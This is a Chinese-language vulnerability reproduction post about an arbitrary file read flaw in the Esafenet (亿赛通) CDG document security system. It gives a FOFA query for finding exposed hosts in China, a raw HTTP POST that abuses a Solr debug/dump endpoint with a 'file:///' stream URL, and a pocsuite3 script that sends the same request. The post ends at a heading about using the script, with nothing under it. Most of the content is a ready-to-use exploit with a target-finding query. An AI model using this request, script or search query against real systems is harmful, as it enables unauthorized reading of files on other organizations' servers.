漏洞复现-亿赛通任意文件读取漏洞（附漏洞检测脚本）

免责声明

文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

漏洞描述

亿赛通电子文档安全管理系统某接口存在任意文件读取漏洞

fofa语句

"CDGServer3/index.jsp" && country="CN"

poc

POST /solr/flow/debug/dump?param=ContentStreams HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
 
stream.url=file:///C:\Program Files\

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/20
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
 
class yisaitong_fileread(POCBase):
    pocDesc = '''亿赛通某接口文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-20'
    name = '亿赛通某接口文件读取漏洞'
 
 
 
    def _verify(self):
 
        result = {}
        url = self.url+ '/solr/flow/debug/dump?param=ContentStreams'
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Cache-Control': 'max-age=0',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Content-Type": "application/x-www-form-urlencoded"
        }
 
        try:
            data = 'stream.url=file:///C:\Program Files\ '
 
            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200:
                result['VerifyInfo'] = {}
 
 
            return self.parse_output(result)
        except Exception as e:
            pass
 
register_poc(yisaitong_fileread)

脚本利用